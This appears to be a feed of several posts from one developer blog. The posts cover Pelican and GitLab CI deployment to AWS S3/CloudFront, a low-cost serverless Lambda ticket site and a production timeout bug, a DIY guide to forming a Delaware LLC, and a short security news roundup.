Reading view

There are new articles available, click to refresh the page.

Pelican + Gitlab CI/CD + Docker + AWS = Awesome Static Site

All the code referenced in this post (and even this post itself) is available on gitlab.

Choosing a static site generator

Setting out to start a blog, there are tons of options. The classic Wordpress, the upstart ghost or the many static site generators like jeckyll, Hugo, Octopress (abandoned), and Pelican. After looking at each option, I settled on pelican because I wanted a static site (one less server to deal with), it's written in Python (one of my preferred languages) and it has an extensive library of themes to use as a base. I decided on the m.css theme because I liked its dark theme and lack of javascript (shout out to anyone reading this via the Tor browser) and it has great support for code. I've only had to make a few small tweaks to m.css to make it my own.

Getting started with Pelican is simple, follow the m.css quickstart.

Pelican has a cool feature which makes tweaking themes or writing content easy - the devserver.

$ cd /dir/of/pelican/blog
$ make devserver
<lots of output>
Pelican and HTTP server processes now running in background.

Now Pelican is watching your files for changes, and will re-compile articles when you save a change. Keep an eye on the terminal running the devserver though, if a change causes an error in Pelican it will show up there and your browser will not see anything new.

Creating content is as easy as writing a reStructuredText document in the content directory. reStructuredText is awesome, and if you've used Markdown (Pelican also supports Markdown if you prefer) before, it has the same general feel. The m.css writing content guide is a great primer on reST. The only issue I have with reST is that markup can't be nested, so italicising a link is not as simple as wrapping it in *. For instance, you would think that last writing content link would be written as

*`writing content <http://mcss.mosra.cz/pelican/writing-content/>`_*

But that is not allowed, so you have to define a directive at the top of the document to allow raw HTML and use it in-line later, as so:

.. At the top of the document before any content
.. role:: raw-html(raw)
     :format: html
.. In-line
:raw-html:`<em><a href="http://mcss.mosra.cz/pelican/writing-content/">writing content</a></em>`

Hosting a static site

Just like static site generators, there are a few static site hosts to choose from: Google, GitHub Pages, GitLab Pages, and Amazon's S3.

I choose S3, mostly because I am already familiar with AWS and am using it extensively for another project (hamiltix.net) which will be detailed in a future post. For the first 12 months on AWS you get 5GB of S3 storage free, as well as 20k get requests and 2k put requests per month. Combine this with Cloudfront (AWS's CDN) and even if reddit tries to hug you to death you should have no issues keeping your site up. In fact, if you want to use SSL/TLS with your S3 static site (hint: you do) you have to use Cloudfront.

Instead of walking through another S3 and Cloudfront setup, just follow the same guide I used.

CI/CD - Putting it all together, automatically

This is where the magic happens. On every push to master, your static site should build, minify, upload, and invalidate the Cloudfront cache. This way you can write a post in a feature branch, and when you merge it into master your blog updates without any additional actions! Gitlab is my git host of choice because it can be self-hosted and is very powerful. Additionally, Gitlab.com offers unlimited free private repos with unlimited collaborators. But my favorite feature of Gitlab is its built-in CI/CD. No longer do you need a seperate service to test/build/deploy your code, it's all built right into your version control. Layer docker on top of this and you get easy, reporducable builds and all it takes is one yaml file in the root of your repo!

Getting started with Gitlab CI/CD can be a little intimidating, and I've found using other projects gitlab-ci.yml files as templates is the best way to get started. For instance, here is the gitlab-ci.yml file for this blog (if you're on mobile, sorry in advance; there is no good way to show code on mobile without wrapping which kills context):

  # Set git strategy, recursive in case there are submodules
  # Keys and secrets are defined in the project CI settings and exposed as env variables
  AWS_DEFAULT_REGION: "us-east-1"

# Define two stages, if the site fails to build it will not be deployed
  - build
  - deploy

  stage: build
  image: apihackers/pelican  # This image contains everything needed to build a static pelican site
  artifacts:  # artifacts are files that will be passed to the next CI stage and can be downloaded from the GitLab web
              # frontend as zips
      - output  # This is the directory we want to save and pass to the next stage
    expire_in: 1 week  # Keep it around for a week in case we need to roll back
  script:  # The script block is the series of commands that will be run in the container defined in `image`
    - pelican content -o output -s publishconf.py  # Build the site using the publish config into the output directory
    - ls -lart output
    - master  # Only run this step on the master branch. No reason to spend resources on incomplete feature branches

  stage: deploy
  image: badsectorlabs/aws-compress-and-deploy  # This is a custom image for minifying and working with AWS
  variables:  # You can set per-stage variables like this
    DESC: "Prod build, commit: $CI_COMMIT_SHA"  # There are tons of built in env variables during the CI process
    S3_BUCKET: blog.badsectorlabs.com
    CLOUDFRONT_DISTRIBUTION_ID: $CLOUDFRONT_DISTRIBUTION  # Again, the secrets are stored in GitLab, not in the code!
    - cd output # Assumes the static site is in 'output' which is automatically created because the last step had
                # 'output' as an artifact
    - echo [+] ls before minification
    - ls -lart .
    - echo "$DESC" > version.html
    - echo [+] minifying HTML
    - find . -iname \*.html | xargs -I {} htmlminify -o {} {}
    - echo [+] minifying CSS
    - find . -iname \*.css | xargs -I {} uglifycss --output {} {}
    - echo [+] minifying JS
    - find . -iname \*.js | xargs -I {} uglifyjs -o {} {}
    - echo [+] ls after minification
    - ls -lart .
    - echo [+] Syncing all files to $S3_BUCKET
    - aws s3 sync . s3://$S3_BUCKET --region us-east-2
    - echo [+] Invalidating Cloudfront cache  # This step is necessary or you wont see the changes until the TTL expires
    - aws cloudfront create-invalidation --distribution-id $CLOUDFRONT_DISTRIBUTION_ID --paths '/*'
  environment:  # environments are just ways to control what is deployed where, for a simple blog straight to prod is ok
    name: master-prod
    - master
  when: manual  # This causes GitLab to wait until you click the run button before executing this stage

How we built Hamiltix.net for less than $1 a month on AWS


Hamilton the musical is hot. Really hot. With crazy high ticket prices, finding the best deal should be easy, especially if you live in New York City, Chicago, or a city on the US Tour. You just go to a major ticket resale site, and search across all the dates you are able to attend and... wait... no site supports ranking tickets across dates? And their "deal rankings" don't take into account the intricacies of each theatre (viewing obstructions, etc)!? I guess we'll have to build it ourselves!

For a full background on the motivations behind hamiltix.net checkout the hamiltix.net blog.

From simple script to legitimate website

Being a python programmer it didn't take long to scrape the major ticket sites and rank all the tickets with a custom algorithm. This turned up some interesting results, and it was easy to compare the best tickets for any dates, sections, and theaters we wanted. This was great for personal use, but not very accessible to an average Hamilton-goer (and despite being perfectly legal it may draw the irk of the sites we are scraping). Time to legitimize our data collection and make it presentable.

This lead to a long slog through the secondary ticket market, which was actually quite interesting, and will be detailed on the hamiltix.net blog. The end state was we connected with a "ticket broker" network and are able to access their inventory (spoiler: nearly all secondary ticket sites share the same inventory). With live tickets at our fingertips the question became how do we process all the data and present it on the cheap?

AWS - Power, Complexity, Affordability

Enter Amazon Web Services (AWS). AWS is the cloud service provider that powers may of the biggest names on the internet so lets see how it does with a simple static site and backend.

Normally, the first step for this kind of project is to start up a linux server, but serverless computing is on the rise. We've never dealt with Lambda or any other "serverless" technology before so lets give it a shot.

The overall design of hamiltix looks like this:

Hamiltix AWS Diagram
The Hamiltix.net AWS stack

As you can see, Lambda is the star of the show. If you haven't heard of Lambda before, you can think of it as a service that will run a function (however complex) on a trigger (there are too many to list, basically any AWS service can trigger a lambda). Lambda offers Node.js, Python (2.7 and 3.6), Java (8+), C# (.NET Core), and Go environments. Since we already had the ranking module in Python, we stuck with Python (3 of course) for the rest of the functions as well.

Cloudwatch event rules kick off any Lambdas that need to run on intervals (getting and ranking tickets), and API Gateway fires any "dynamic" content for the website like advanced search, or the actual ticket purchasing.

We also made the decision to not use a javascript framework for the front end, mostly because they are incredebly complex and some people suggest they are all terrible (or maybe great?). Could be use React with a static site? Sure, but that also means dealing with animated routes, custom routing, GraphQL, Redux, Sass or Less, JSX... I'm already exhausted. We just want to present tickets cleanly to users, not build the next Facebook. jQuery, SweetAlert2, Semantic-ui, Moment.js, and MutliDatesPicker are the only external javascript libraries used on hamiltix.net.

Without the need for a server hosting the site, it can be stored on S3 and distributed by Cloudfront. Setting up a static site with AWS is fairly simple. Any ajax calls in the site's javascript are sent to the API Gateway which in turn calls the correct lambda function to handle whatever task is requested. With hamilton ticket prices as high as they are, we set up a staging environment that uses our ticket broker's sandbox API to test all functions on each commit to master. For this to work, you need two separate environments in API Gateway, and the corresponding aliases for your lambda functions (don't forget to publish the changes in API Gateway!).

The two API Gateway stages for hamiltix

While in the API Gateway, you have to point the lambda handler to the function alias that corresponds to either staging or prod. This can be done with a stageVariable when setting up the endpoint in the Resources screen of API Gateway. You'll need to allow API Gateway permissions to access each alias you use, but AWS provides a nice aws-cli command for you when you set up the Lambda proxy integration.

The stageVariable setup on the Resources screen

Then in the Stages screen, ensure that each stage as an appropriate Stage Variable.

The stageVariable setup on the Stages screen

Now the staging and prod APIs will call the Staging and Prod lambda aliases respectively. Setting up staging and prod lambda aliases is not difficult, and is handled by Gitlab's CI/CD pipeline.


If you've read my first post you know I'm a big fan of Gitlab and its built in CI/CD. The hamiltix repo is set up with each lambda as a submodule because Gitlab currently does not support more than one .gitlab-ci.yml file for a repo. The gitlab-ci.yml files for each lambda are nearly identical (on purpose!), only the variables section at the top and the additional cp statements for custom directories (if needed) change between lambda functions. Strict twelve-factor followers will notice that the build and release stages are combined. It is certianlly possible to break the build step out and pass the zip as an artifact, but the stage is so fast we haven't done this yet.

  #  Set git strategy
  # Keys and secrets are defined in the project CI settings and exposed as env variables
  AWS_DEFAULT_REGION: "us-east-1"
  NAME: "MyFunction"
  FILENAME: "MyFunction.py"
  HANDLER: "MyFunction.lambda_handler"
  RUNTIME: "python3.6"
  FILE: "fileb://deploy_$CI_COMMIT_REF_NAME.zip"

  - test
  - deploy

  stage: test
  image: badsectorlabs/code-checking:latest # This is a docker image that contains a lot of code checking tools
    - cpd --minimum-tokens 100 --language python --files .
    # pylint output is good to look at, but not worth breaking the build over
    - pylint -d bad-continuation -d line-too-long -d import-error -d missing-docstring $FILENAME || true
    - flake8 --max-line-length 120 --ignore=E722,W503 . # You must pass flake8 (W503 is wrong, pep8 changed)

  stage: deploy
  image: badsectorlabs/aws-compress-and-deploy:latest
    ALIAS: "Staging"
    DESC: "Staging build, commit: $CI_COMMIT_SHA"
    - virtualenv -p /usr/bin/python3.6 env
    - source env/bin/activate
    - pip install -r requirements.txt
    - mkdir dist
    - cp $FILENAME dist # copy all files needed to dist
    # Copy any other directories (modules, etc) here
    - cp -rf env/lib/python3.6/site-packages/* dist
    - cd dist
    - zip -r9 ../deploy_$CI_COMMIT_REF_NAME.zip .
    - cd ..
    - deactivate
    - ls -lart
    - echo Creating or updating $NAME
    - > # This captures the code hash for the updated/created lambda function; -r is needed with jq to strip the quotes
      CODE_SHA_256=$(aws lambda update-function-code --function-name $NAME --zip-file $FILE | jq -r ."CodeSha256" || aws lambda create-function
      --function-name $NAME --runtime $RUNTIME --role $ROLE --handler $HANDLER --zip-file $FILE | jq -r ."CodeSha256")
    - echo Publishing LATEST, CodeSha256=$CODE_SHA_256, as 'Staging'
    - VERSION=$(aws lambda publish-version --function-name $NAME --description "$DESC" --code-sha-256 $CODE_SHA_256 | jq -r ."Version")
    - echo "Published LATEST as version $VERSION"
    - >
      aws lambda update-alias --function-name $NAME --name $ALIAS --function-version $VERSION || aws lambda create-alias
      --function-name $NAME --name $ALIAS --description "Staging" --function-version $VERSION
    - echo Successfully updated $NAME:$ALIAS
    name: master-staging
    - master

  stage: deploy
  image: badsectorlabs/aws-compress-and-deploy:latest
    ALIAS: "Prod"
    DESC: "Prod build, commit: $CI_COMMIT_SHA"
    - virtualenv -p /usr/bin/python3.6 env
    - source env/bin/activate
    - pip install -r requirements.txt
    - mkdir dist
    - cp $FILENAME dist # copy all files needed to dist
    # Copy any other directories (modules, etc) here
    - cp -rf env/lib/python3.6/site-packages/* dist
    - cd dist
    - touch PROD # This is the canary that will tell the lambda function to use the PROD secrets
    - zip -r9 ../deploy_$CI_COMMIT_REF_NAME.zip .
    - cd ..
    - deactivate
    - ls -lart
    - echo Creating or updating $NAME
    - > # This captures the code hash for the updated/created lambda function; -r is needed with jq to strip the quotes
      CODE_SHA_256=$(aws lambda update-function-code --function-name $NAME --zip-file $FILE | jq -r ."CodeSha256" || aws lambda create-function
      --function-name $NAME --runtime $RUNTIME --role $ROLE --handler $HANDLER --zip-file $FILE | jq -r ."CodeSha256")
    - echo Publishing LATEST, CodeSha256=$CODE_SHA_256, as 'Prod'
    - VERSION=$(aws lambda publish-version --function-name $NAME --description "$DESC" --code-sha-256 $CODE_SHA_256 | jq -r ."Version")
    - echo "Published LATEST as version $VERSION"
    - >
      aws lambda update-alias --function-name $NAME --name $ALIAS --function-version $VERSION || aws lambda create-alias
      --function-name $NAME --name $ALIAS --description "Prod" --function-version $VERSION
    - echo Successfully updated $NAME:$ALIAS
    name: master-prod
    - master
  when: manual

Using this CI setup, the lambda can check for PROD with if os.path.exists('PROD'): and if so read in env variables for the production environment, and otherwise use staging variables. Note that both staging and production variables must be defined in the lambda settings (aliases take a snapshot of the lambda settings to prevent a setting change from breaking aliases that already exist).

The CI setup for pushing the static site assets looks nearly identical to the setup for this blog.

Logging and Monitoring

Once you have some lambdas working away for you, it becomes necessary to monitor them. By default the lambdas will log any standard out to Cloudwatch, which is nice if you need to go back and see what caused an issue, but doesn't help alert you when an issue occurs. There are many ways to solve this issue, including many that would leverage AWS services but I already had a lifetime Pushover account, so decided to use it for instant push notifications on any unhandled lambda error.

def send_pushover(message, title, sound='pushover'):
    Send a pushover message
    :param message: string; the message to send
    :param title: string; the title of the message
    :param sound: string; one of the keys of {'pushover': 'Pushover (default)', 'bike': 'Bike', 'bugle': 'Bugle',
                          'cashregister': 'Cash Register', 'classical': 'Classical', 'cosmic': 'Cosmic',
                          'falling': 'Falling', 'gamelan': 'Gamelan', 'incoming': 'Incoming',
                          'intermission': 'Intermission', 'magic': 'Magic', 'mechanical': 'Mechanical',
                          'pianobar': 'Piano Bar', 'siren': 'Siren', 'spacealarm': 'Space Alarm', 'tugboat': 'Tug Boat',
                          'alien': 'Alien Alarm (long)', 'climb': 'Climb (long)', 'persistent': 'Persistent (long)',
                          'echo': 'Pushover Echo (long)', 'updown': 'Up Down (long)', 'none': 'None (silent)'}
    :return: None
    from pushover import init as pushover_init # install with `pip3 install python-pushover`
    from pushover import Client
    # Send Pushover notification via the API (this is the hamiltix key)
    client.send_message(message, title=title, sound=sound)

def lambda_handler(event, context):
        return main(event, context)
    except Exception as e:
        print('[FATAL] Caught exception: {}'.format(e))
        import traceback
        error_trace = traceback.format_exc()
        error_title = 'Error in [LambdaFunctionName]'
        send_pushover(error_trace, error_title, sound='falling')
        raise(e)  # Make sure the lambda function returns a 500

Getting a push alert any time there is an error helps us respond to issues as soon as they come up. The same send_pushover() is used to alert on other things as well, like any time a ticket is purchaced (with the cash register sound naturally).


So how much does it cost to run hamiltix.net? Right now we are still in the 12 month AWS "free-tier" and monthly cost is stable at around $0.60, of which $0.50 is Route53 (one hosted zone) and the rest is S3 and taxes. After the "free-tier" expires our S3 costs will increase slightly, API Gateway will be $0.09 per GB of data transferred out, and Cloudfront will be $0.085 for the first 10TB a month but Lambda, DynamoDB, and Cloudwatch will remain free (unless we get really popular!), and costs should remain under $1. Reddit has correced my error, and API Gateway has a base fee of $3.50 for the first 1 million requests. After the free-tier expires costs should remain under $5. If we wanted to bring this down even more, moving the domain to Google Domains (or similar) would reduce our current costs by 80%!

Handling Fatal Errors in Production on a Saturday Night


In my last post I described the way we instrumented all our AWS Lambda functions on hamiltix.net so any unhandled error was sent as a Pushover notification with a full stack trace. While some were concerned this would lead to a flood of messages, it has been nearly silent except for purchase notifications and a few minor bugs which were corrected. Everything had been running smoothly for a while, until...

The Error

It was Saturday, 8:21 P.M. I'd just returned home when I got a Pushover notification.

[FATAL] Error in TheMoneyLambda

The few error notifications we have gotten are in a query or other part of the website that is a "first step" of the user experience. By the time a user gets to the point where they are interacting with "TheMoneyLambada" the order is complete (hence the name). What this means is that a user was trying to purchase tickets when this occurred. Priority: Critical.

I sit down at my laptop and open the CloudWatch dashboard. All Lambda standard out or logging messages are captured by CloudWatch, so this should show exactly what caused the error. Immediately I saw the error, "Invalid Ticket Group Quantity." Like all tricky bugs I immediately thought, "That's impossible!" The details of the order are all checked with the broker immediately before purchase. TheMoneyLambda should never be handling an order that hasn't been checked for correctness. The check is handled by a separate lambda, so flipping over to those logs I see that it was checked successfully. About this time I get another error notification, same as first. Worried the customer is getting error messages and attempting to buy the tickets multiple times, I fire off a quick email (captured at checkout) to them letting them know I am looking into the issue.

The pressure was on now. I have no idea how this bug was possible and I'm about to loose a customer. With a grand total of $0 spent on marketing, word of mouth and this blog is the only driver of sales. A bad customer experience could torpedo the whole project.

The Secret Weapon

With the contradiction of the Lambda logs leading no where, I turned to a tool that I added to the site more for fun than anything. LogRocket is a javascript snippet that you can add to any page and it hooks user interactions and logging and presents it back in a timeline view. From time to time I would use it to see how people interacted with the site (my friend calls this "watching film" - like we are a sports team). While we include LogRocket on the checkout page, we explicitly tell it NOT to capture any of the credit card fields. In the renders they just don't appear (as if the element was deleted) which keeps us from accidentally storing any payment data.

In LogRocket I pick out the session right away and watch the user interaction from the beginning. Every thing looks normal, except the ajax calls to API Gateway (and therefore Lambda) fail. Then I see it. LogRocket helpfully captures all the details about ajax calls, and I notice the duration is about 15 seconds.

LogRocket session showing the failed AJAX request
15 Seconds, why is that familiar?

Besides being an eternity online, 15.957 seconds is awfully close to the default 15 seconds execution limit on Lambada functions. Switching back to the CloudWatch logs I scroll up past the two errors I initially fixated on to see this:

Apparently a successful order

No errors, no traceback. Apparently a successful order. In my initial haste to find the issue I was focused on the errors and missed the fact they were preceded by a successful order. The function must have timed out just before sending the successful order notification and returning a 200 status to the front end. For some reason the broker's API took ten seconds to respond, which in turn caused our Lambda function to hit its time limit of 15 seconds, but not before actually processing the order! The user saw an error on the site, while at the same time getting a confirmation email. I communicated the issue to the customer, who was really great about everything, and immediately increased the execution time limit for TheMoneyLambda. With Lambda aliases, you have to make the change in the Lambda's dashboard then push a new version to all aliases you want changed. This prevents you from accidentally changing a parameter or environment variable that a current alias requires when updating a function. With the GitLab pipelines described in my previous post its as simple as re-running the deploy stage.

If the broker API had failed completely, or was a little faster this error wouldn't be possible. It was just slow enough to succeed on the back end while failing on the front end.

Lessons Learned

  • Instrumenting business critical functions to receive instant error notification is key to knowing there is a problem.
  • Quick communication with affected customers can help smooth over an otherwise bad experience.
  • During testing, ensure you test less-than-optimal conditions to include very slow responses.
  • Sometimes the stars align to serve you a tricky bug on a Saturday night. Welcome to the startup life =)

In the market for Hamilton the Musical tickets? Find a better ticket search, alert, and buying experience at hamiltix.net.

Questions or comments? blog (at) badsectorlabs.com

The DIY Guide to Forming an Online Business with Multiple Members in Different States


We wanted to set up a simple, legitimate business without spending a lot of money. One of our initial side projects (Hamiltix.net) was generating a small amount of revenue and with other small potential revenue generating projects in the pipeline, we needed a way to separate the finances and also to professionally interact with other businesses (for example, we would eventually like to publish apps in the Apple App Store / Google Play Store under our company name instead of using our names).

It seems like startups abound these days, so we would have thought the actual process for setting up a business would have been more straightforward. In our case, we needed to set up a business with two owners who reside in different US states, with no employees, where the business would be entirely online with no physical presence or store front, and we would be working on business related projects from our respective homes.

Given the lack of resources online on the specific mechanics of actually forming a business with this profile, we wanted to write down the process we went through in hopes that it will be helpful to others in a similar situation. We have complied our notes on this process and laid out the decision tree and steps we went through. The below is an amalgamation of hours of internet research (which almost always ended up with something like this

"better check with your lawyer."

Step 1

Determine Which Type of Business You Are / Are Going to Be / Want to Be

  • If you have some or all of the below characteristics, a Delaware C Corporation is likely the way to go:
    • Expect to raise money from outside parties such as venture capital firms or sell your business to a larger company
    • Expect to hire employees and incent them with ownership in your company
    • The easiest, cheapest, and best way to go seems to be to use Clerky or Stripe Atlas and pay the ~$500+ and just be done with it (note we haven’t used these services or tried them, this is solely based on our research. However, Y Combinator backed and uses Clerky for its companies). We won’t spend anymore time detailing this path as this does not describe us
  • If you align more with the characteristics below you may want to create an Limited Liability Company (LLC) or S Corporation
    • Expect to be profitable in the near term
    • Have one founder or a limited number of founders / investors who are mostly friends or family Stripe does a good job of explaining the difference of LLCs and C Corporations in more detail.

For LLCs and S Corporations, profits or losses are passed through to the individual owners based on their underlying ownership interests in the company and then each owner is taxed on those earnings (or losses) based on their individual tax rates. For example, if the business revenue was $10, business costs were $5, then $5 dollars of profit would be split between the owners by their ownership amounts. An owner's allocated amount would then be included on their individual tax return.

For a C Corporation, the company itself would pay taxes on any profits or losses, and then if the owners wanted to receive cash from the company, the company would have to pay a dividend to its owners. A C Corporation owner would then have to pay tax on the dividend. This leads to earnings being taxed twice - once at the C Corporation and again to the investor on their dividends. There is also a board of directors structure in a C corporation which differs from a LLC which generally has less requirements.

Ultimately, a business is just an entity, like a person, that can open accounts, take on debt, and interact with other companies. But one nice reason for setting up a business (and doing it correctly) is that it provides some liability protection to the owners and cleanly separates business finances from personal finances.

One more quick note on proper terminology related to LLCs. In an LLC you own "units" and are a "member" versus a corporation where you own shares of stock and are a shareholder or a stockholder. As a shareholder in a corporation you also then have the right to vote your shares to elect a board of directors who then hire management and guide the corporation where the LLC requires less formalities.

Step 2

Where to Form Your Business?

Once you have decided which type of entity you will be forming you now have to decide where to incorporate. You can incorporate a business in any state, even if you do not live, work, or have an office there. If you are a sole member, or have members in the same state, it may make sense to form the business in your home state.

In our case however, there are two of us located in different states and we were planning on operating an online business with no physical presence. As a result, we decided to form our business in Delaware (even though neither of us live in Delaware). The reason why Delaware is one of the the most popular choices for registering a business is because it has significant historical business legal case law (which makes investors, lawyers, etc. more comfortable that they know how certain legal situations will unfold). Delaware charges a $90 formation fee (for an LLC) and has a $300 annual β€œtax” beginning at the end of year 1 and each year thereafter to maintain registration. Different states have different annual payment requirements (California being one of the most expensive).

Finally there is the potential to have to register in multiple states if you are "doing business" or have "tax nexus" in a state other than the state in which you formed. We haven't been able to find a good answer on what the definition of "doing business" is just yet, but in our situation when we had our initial conversation with the tax accountant our arrangement of filling in Delaware only for now seemed appropriate. We think that since we are an online business, and do not have a physical store front or office, or have physical product at anytime (software only), we do not need to register in other states, but check back with us next April on that one... It would seem a bit extreme (and prohibitively expensive) for us to have to register in all 50 states, for example, just because we might sell to a customer in one of those states. I can't say we fully understand this yet but the tax accountants were ok with only a Delaware registration. If you have better information or understanding on this point and can tell us what "doing business" actually means please let us know! For reference, if we did have to register our Delaware LLC in another state it is known as a "foreign" registration.

Step 3

Name Picked? Good, It's Formation Time

Once you have chosen a state to form your business you will need to determine who will be the registered agent. All business must have a registered agent whose address and information is publicly available and is the location where the business is to receive process of service (court documents if the business is sued). You can be your own registered agent (if you have an address in the state you a registering) but then your information (name and address) are in the public record. This is solved by utilizing a paid registered agent service. The paid registered agent service basically serves two purposes:

  1. Be the name and address on the publicly available information on your business so you do not have to put your personal information, and
  2. Have an online document portal where you will get alerts any time documents are added (so if you were to get sued, the court documents would go to the registered agent's address, and the registered agent would then scan the documents and upload it to the portal for you to view

There are a lot of registered agent services out there but we decided to go with A Registered Agent Inc (Delaware Registered Agent) which after researching a bunch of options seemed to be on the cheaper end of the spectrum and didn't aggressively try to upsell you on every little addition. Unless you absolutely need it, do not pay the extra $50 to expedite your formation. We were formed and had our documents back from Delaware Registered Agent in seven days. They charge $180 for the registration (which would cost $90 if you just did it yourself) and the remainder covers preparation costs, the first year of registered agent services, initial LLC resolutions, and a form LLC operating agreement. Delaware Registered Agent charges $45 each year thereafter for its registered agent services (to use their address and have them scan legal documents for you in the event of legal action).

Now if only there were a decentralized, distributed ledger system for keeping track of business formations and business ownership...

Step 4

Get Squared Away with the IRS

After you have formed the business the next step is to get squared away with the IRS - that means you need to get an Employer Identification Number ("EIN") (basically a social security number for your business). The online portal is the easiest way to do this and it takes about 10-15 minutes. Strangely the online portal is only available Monday through Friday from 7AM to 10PM - last I checked servers do not need to sleep, so if anyone knows why this is the case we are genuinely curious to know.

The online portal is the equivalent of filling out a form SS-4 on paper and mailing it in, except the online portal takes 10 minutes and you get your EIN number right away. The key items when filling out the form online are the "Type of Entity" and the employment tax liability checkbox. While we were very tempted to register as a "church or church controlled organization" (which enjoy some pretty nice tax exemptions), we went with the default for a multi-member LLC, a partnership. The thing to understand here is now you have an LLC that will be taxed as a partnership for tax purposes. This is what we (and probably you if you're in a similar situation) wanted as this allows us to pass through any profits to each of the members annual tax fillings (and avoid double taxation of a C corporation). We also do not plan to have any employees - it will just be us (the owners / members) running the business - and as a result we made sure to check the employment tax liability checkbox (item 14 on the paper SS-4), we only will need to make one annual employer federal tax return filing on form 944 versus quarterly federal tax returns on form 941. If you were to have employees you'll have to make sure you are withholding the appropriate amount from their paychecks for taxes and file the quarterly form.

LLC Tax Responsibilities

Below we have compiled a summary of the tax forms the LLC will need to file:

  • LLC files Form 1065 annually with the IRS - this is just an β€œFYI” to the IRS by March 15th (since the LLC doesn't pay taxes itself as it is a pass through entity)
  • LLC files Form 944 annually with IRS (to file form 944 annually vs. form 941 quarterly you must (i) have less than $1k of wages paid to employees per year, and (ii) check box number 14 on form SS-4 (or the equivalent on the online EIN portal) when filing to get your EIN)
  • LLC prepares and provides K-1 statements Form 1041) to its members by March 15th

Member Tax Responsibilities

  • Member's will be required to file and pay estimated taxes on 1040-ES a quarterly basis if:
"You expect to owe at least $1,000 in tax for 2018, after subtracting your withholding and refundable credits."
  • Members use K-1 (Form 1041) statements to complete their 1040 and Schedule E by April 15th

Step 5

LLC Operating Agreement

For an LLC, the operating agreement is a document that outlines how the business will operate. It typically includes things like management of the business, ownership, distributions, buyout of other members, disputes, etc. We took the template provided by our registered agent (similar template here) and modified it to our liking and went with that.

The operating agreement is not filed with any government institution or bureau and is signed and kept between members, or if you have a lawyer, the lawyer will usually keep a copy of the documents as well. For reference, we talked to a small business lawyer who offered to write a simple operating agreement for us for $1,500. Perhaps if we start bringing in larger amounts of money at some point in the future we will update the agreement, but for now the modified template works just fine for us. We have some experience and familiarity dealing with operating agreements, but even if you do not, the templates we looked at is probably adequate for just starting out.

You can amend the operating agreement at any time (and depending on how you worded your initial operating agreement you may require unanimous or majority approval of unit holders to amend the operating agreement).

Step 6

The Money

Now that you are all set on taxes, you should set up a business checking account to accept payments and pay any business expenses such as server costs. Setting up a checking account also proved to be unnecessarily difficult. We wanted to go with a large national bank that was present in both of our home states (recall we are two members in different states) so we tried to get an account at Chase. However after calling and visiting multiple chase branches, we found that they have a policy that requires a business account to be registered in the state in which the branch you are opening the account is located. Since our business was registered in Delaware, but neither of us reside in Delaware and the Chase branches we have access to are not in Delaware, we could not open a business checking account with Chase.

We then tried another national bank and after walking into a branch with all documents from the steps above in hand (formation document, initial resolutions, EIN letter, operating agreement) they weren't sure either if they could open an account for a Delaware LLC since the branch was not in Delaware. They copied our LLC Operating Agreement, formation document, and initial resolutions and said they would check with someone outside the branch and get back to us. The next day they called back saying they could open the account. We did get the account opened but only I was listed on the account since they required my business partner (who is in a different state) to be physically present with me in order for him to be added to the account. Fortunately, he was planning to be in town in a few weeks but this is another hurdle to be aware of. Also, apparently there is such a difference between a personal checking account and a business checking account that it requires a "business banker", whatever that is. There was one occasion were we visited a branch on a weekend only to have no "business banker" available.

Business checking accounts all also somewhat different personal checking accounts. One difference is transaction volume and size. Our account only allows 150 transactions a month (with $0.50 charge for any transactions thereafter). Additionally, our account requires a minimum $1,500 balance in order to avoid a $12 monthly charge. Lastly, if you are working with a lot of cash for some reason (which we of course are not as everything is online) there are maximums and other fees related to cash deposits. So be aware of all the limitations, which are more stringent than personal checking accounts and to us just feel like ways for banks to charge additional little fees because the account is a "business" account. We looked at a bunch of different banks and all have similar types and amount of fees.

Our bank also required us to sign a banking resolution. This is just a legal document signed by the LLC members that officially gives the members authority to open an account for the LLC.

Lastly, now that we have an account set up we need to track the money and each members capital accounts (remember for taxes in the next year, you will need to fill forms that show how much money the LLC made and how it is allocated to its members). We haven't figured out the optimal solution here yet, but it seems Wave might be a good free option based on research (vs. paying monthly fees for some other services).


  • Insurance: Getting insurance for your LLC is probably a good idea and depending on your business there might be certain coverages that are better for you. Depending on what you get, for a small business it should not be any more than a couple hundred dollars.
  • Maximizing the Liability Protection Benefits of an LLC: In order to maximize the potential benefits of the "limited liability" portion of an LLC you will want to make sure you do not use the LLC for any personal expenses or other matters and solely use it for business purposes (hence one reason why we set up a separate business checking account in Step 6 above).


All told we spent what seemed like way too long to set up a business that is relatively common and straightforward. Fortunately, going the DIY route we only ended up spending $248 in total ($180 for A Registered Agent to do the registration and provide registered agent services and another $68 for 6 months of a USPS PO Box to get any physical mail we might receive), excluding any insurance.

Our Projects

Hamiltix.net: We use algorithms to rank the best available Hamilton tickets across all available tickets and dates based on various factors, and allow users to search across any combination of dates, sections, and prices in addition to setting up email alerts.

FirstUp Fitness: Getting up at 4:45 AM to make tomorrow's spin class reservation? Refreshing the page to reserve a class as soon as it opens up for reservations? Our app will let automatically reserve a spot for a fitness class as soon as it opens for reservations. You just set the reservation you want and forget it - FirstUp Fitness will do the reserving for you. If you belong to an Equinox and this sounds like something you would use - drop us a line. We are currently developing the app.

Questions or comments? blog (at) badsectorlabs.com

Last Week in Security (LWiS) - 2020-02-10


Cyber security is a fast-paced and ever-changing field. I find myself sifting through countless blogs, subreddits, twitter streams, slack/discord channels, and mailing lists just to stay up to date. I've often thought, "I wish someone would just catalog all the useful/technical/interesting bits in one place, each Monday." So I decided to do just that. It is my intention to make a post similar to this one each Monday, with a collection of the previous weeks news that I found relevant. If you are a technical practitioner of cyber security, perhaps it can be of use to you as well. I plan on automating as much of the information gathering and processing as possible and will blog about that system as it is developed.


  • A Raytheon engineer was arrested for taking US missile defense data to China, a classic example of the insider threat and ITAR violation. ZDNet has the story.
  • Simon Weckert "hacks" Google Maps with a wagon full of cellphones to create fake traffic jams in Berlin. An interesting and concrete example of potentially adversarial behavior of coordinated users (or just one user acting as multiple) in a distributed system can affect the physical world.
  • 5 Cisco 0days, dubbed CDPwn, released.
  • Fireeye published a very in-depth blog post about an actor deploying a backdoor via stomped VBA macro enabled documents.
    • This twitter thread is a great resource for more information on VBA stomping, detection, and tools.
  • 1.7 million dollars can get you access to lots of windows loot; corp.com is for sale and is a prime example of "namespace collision." Krebs has the details.
  • Ransomware is exploiting vulnerable legitimate signed windows drivers to disable AV before encrypting files. This is an in-the-wild example of signed driver bypass.
  • iOS Exploit News
    • @Fox0x01 released the third part of her iOS exploit development series. Her site is a treasure for anyone in need of an exploit development resource. I highly recommend it.
